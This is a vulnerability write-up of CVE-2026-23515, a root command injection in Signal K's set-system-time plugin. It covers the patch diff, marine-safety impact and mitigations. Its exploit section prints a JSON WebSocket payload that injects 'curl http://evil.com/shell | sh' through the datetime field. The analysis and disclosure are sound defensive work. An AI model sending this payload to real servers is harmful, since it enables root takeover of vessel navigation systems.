CVE-2026-23515

Mutiny on the Bounty: Full Root Compromise via Signal K Time Sync

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 3, 2026·7 min read·4 visits

Executive Summary (TL;DR)

Signal K's time-sync plugin blindly passed user input into a system shell command. Attackers can hijack the boat's server by sending a malicious 'time' update, gaining root access instantly. CVSS 10.0.

A critical OS Command Injection vulnerability exists in the Signal K Server's `set-system-time` plugin. By sending a crafted WebSocket message to the `navigation.datetime` path, an authenticated (or unauthenticated, depending on config) attacker can inject arbitrary shell commands. Because the plugin requires `sudo` privileges to set the system time, this vulnerability typically results in immediate Remote Code Execution (RCE) as root, allowing full compromise of marine navigation systems.

The Hook: Time is a Flat Circle (of Doom)

Signal K is the open-source nervous system for modern marine electronics. It takes the archaic, proprietary chatter of NMEA 0183 and NMEA 2000 networks and translates it into beautiful, modern JSON. It’s the reason you can view your boat’s wind speed on an iPad while lounging on the deck. It runs on everything from high-end yacht servers to DIY Raspberry Pi setups. But like any central nervous system, if you poison the brain, the whole body goes down.

Enter the set-system-time plugin. Its job is incredibly mundane: listen for GPS time updates from the navigation instruments and synchronize the server’s system clock. It’s a classic utility function—useful, simple, and utterly trusted. After all, who expects a timestamp to carry a weaponized payload? It’s just numbers and colons, right?

Wrong. In the world of exploit development, any bridge between high-level user input (JSON) and low-level system operations (OS commands) is a potential gold mine. CVE-2026-23515 isn't just a bug; it's a testament to the danger of trusting input. The developers built a feature to keep the clock on time, but they accidentally built a backdoor that lets anyone with network access become the captain of the digital ship.

The Flaw: JavaScript Wrappers and Shell Games

The root cause here is a classic blunder that refuses to die: passing unsanitized user input directly to a shell interpreter. In Node.js, developers often reach for child_process.exec when they need to run a system utility. It’s easy, it’s synchronous-ish, and it feels like typing into a terminal. The problem is that exec spawns a shell (like /bin/sh) to run the command. This means all the magical shell metacharacters—semicolons, pipes, backticks—are active.

The set-system-time plugin listens for updates on the navigation.datetime delta path. When a WebSocket message arrives with a new timestamp, the plugin grabs that string and constructs a command that looks something like this: sudo date -s "<USER_INPUT>". The intention was for <USER_INPUT> to be something harmless like 2026-02-02T12:00:00Z.

However, the code lacked input validation. It assumed the input would be a date because the field is named datetime. But computers don't understand context; they only understand instructions. By simply appending a semicolon ; to the input, an attacker can terminate the date command and start a new one. The application happily concatenates the strings and hands the resulting disaster over to the Linux kernel. It’s the software equivalent of leaving your front door key under the mat, except the mat is transparent, and there's a neon sign pointing to it.

The Code: Autopsy of a Command Injection

Let's look at the smoking gun. While the exact original code isn't fully disclosed in the snippet, we can reconstruct the crime scene based on the patch. The vulnerable logic effectively took the raw input and interpolated it. The fix, applied in commit 75b11eae2de528bf89ede3fb1f7ed057ddbb4d24, introduces the one thing missing: strict validation.

Here is the critical diff that closed the hole. Notice how the developers finally realized that a datetime string has a very specific, predictable structure:

// BEFORE (Conceptual)
// const command = `sudo date -s "${datetime}"`;
// child_process.exec(command, ...);
 
// AFTER (Commit 75b11ea)
if( ! plugin.useNetworkTime(options) ){
  // Validate datetime format to prevent command injection
  if (!/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d+)?Z?$/.test(datetime)) {
    lastMessage = 'Invalid datetime format received: ' + String(datetime).substring(0, 50)
    logError(lastMessage)
    return
  }
  const useSudoFallback = typeof options.sudo === 'undefined' || options.sudo

The fix is a regular expression: ^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d+)?Z?$. This regex acts as a bouncer. If the input contains anything other than digits, hyphens, colons, and the specific ISO 8601 delimiters, it gets rejected. No semicolons, no pipes, no subshells. It forces the input to be data, preventing it from ever becoming code.

The Exploit: Setting the Time to Pwn O'Clock

Exploiting this is trivially easy, which is why it earned a CVSS score of 10.0. You don't need complex memory corruption techniques or heap spraying. You just need to speak JSON. The attack vector is the Signal K delta stream—the primary mechanism for updating boat state.

An attacker connects to the Signal K server (port 3000 by default) via WebSocket. If authentication is disabled (common on private boat networks) or if they have low-level credentials, they send a single JSON payload. The payload targets navigation.datetime but carries a malicious payload designed to escape the date command context.

The Payload:

{
  "updates": [
    {
      "values": [
        {
          "path": "navigation.datetime",
          "value": "2026-02-02T12:00:00Z; curl http://evil.com/shell | sh;"
        }
      ]
    }
  ]
}

The Execution:

When the server processes this, the underlying shell executes: sudo date -s "2026-02-02T12:00:00Z; curl http://evil.com/shell | sh;"

The shell sees three commands:

  1. sudo date -s "2026-02-02T12:00:00Z (This might fail or succeed, nobody cares).
  2. curl http://evil.com/shell | sh (This downloads and executes the attacker's script).
  3. The trailing quote is ignored or causes a syntax error that doesn't stop the previous execution.

Because the plugin is designed to set the system time, it almost certainly runs with sudo privileges. This means our injected command also runs as root. Game over. We have full control of the host OS.

The Impact: Why This Matters

In a corporate environment, a root shell means data exfiltration. On a boat, the stakes are physical. A compromised Signal K server often has access to the NMEA 2000 bus, which connects to chart plotters, autopilots, and engine sensors. While Signal K is primarily read-only for NMEA 2000, many setups include write capabilities for specific PGNs (Parameter Group Numbers).

An attacker with root access on the server could potentially inject false navigation data, causing the GPS position on the chart plotter to drift. They could manipulate alarm thresholds, silence depth warnings, or simply brick the navigation computer in the middle of a channel crossing. Even without touching the NMEA bus, they can install ransomware, use the boat's 4G connection for botnet traffic, or spy on the crew via onboard cameras connected to the network.

This is a "Scope Change" (S:C) vulnerability in CVSS terms because the vulnerability in the application (Signal K) leads to the total compromise of the underlying operating system. The isolation between the app and the OS is completely shattered.

Mitigation: Plugging the Hull

The immediate fix is to update the set-system-time plugin to version 1.5.0 or later. If you are running a Signal K server, check your plugin list immediately. The fix is robust because it whitelists known-good characters rather than blacklisting bad ones—a fundamental security principle.

Beyond the patch, this vulnerability highlights the need for defense-in-depth on marine networks:

  1. Least Privilege: Does the Signal K user really need full passwordless sudo access? Ideally, sudo should be restricted to only the /bin/date binary for that specific user, preventing them from running curl, sh, or rm.
  2. Network Segmentation: Never expose your Signal K server directly to the public internet. If you need remote access, use a VPN (like Tailscale or WireGuard).
  3. Authentication: Enable security in Signal K. Don't rely on the "I'm on a boat in the middle of the ocean" security model. Starlink and marina WiFi have extended the attack surface significantly.

Update your plugins, lock down your sudoers file, and keep your digital bilge dry.

Fix Analysis (1)

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.04%
Top 100% most exploited
2,500
via Shodan

Affected Systems

Signal K Serverset-system-time plugin < 1.5.0Marine Navigation Systems utilizing Signal K

Affected Versions Detail

Product
Affected Versions
Fixed Version
set-system-time
Signal K
< 1.5.01.5.0
AttributeDetail
CWE IDCWE-78
Attack VectorNetwork (AV:N)
CVSS v3.110.0 (Critical)
Privileges RequiredNone / Low (Context Dependent)
ImpactRemote Code Execution (Root)
Patch StatusAvailable (v1.5.0)
CWE-78
OS Command Injection

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Vulnerability Timeline

Patch committed by KE Gustafsson
2026-01-11
Vulnerability reserved
2026-01-29
CVE Published / Public Disclosure
2026-02-02

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.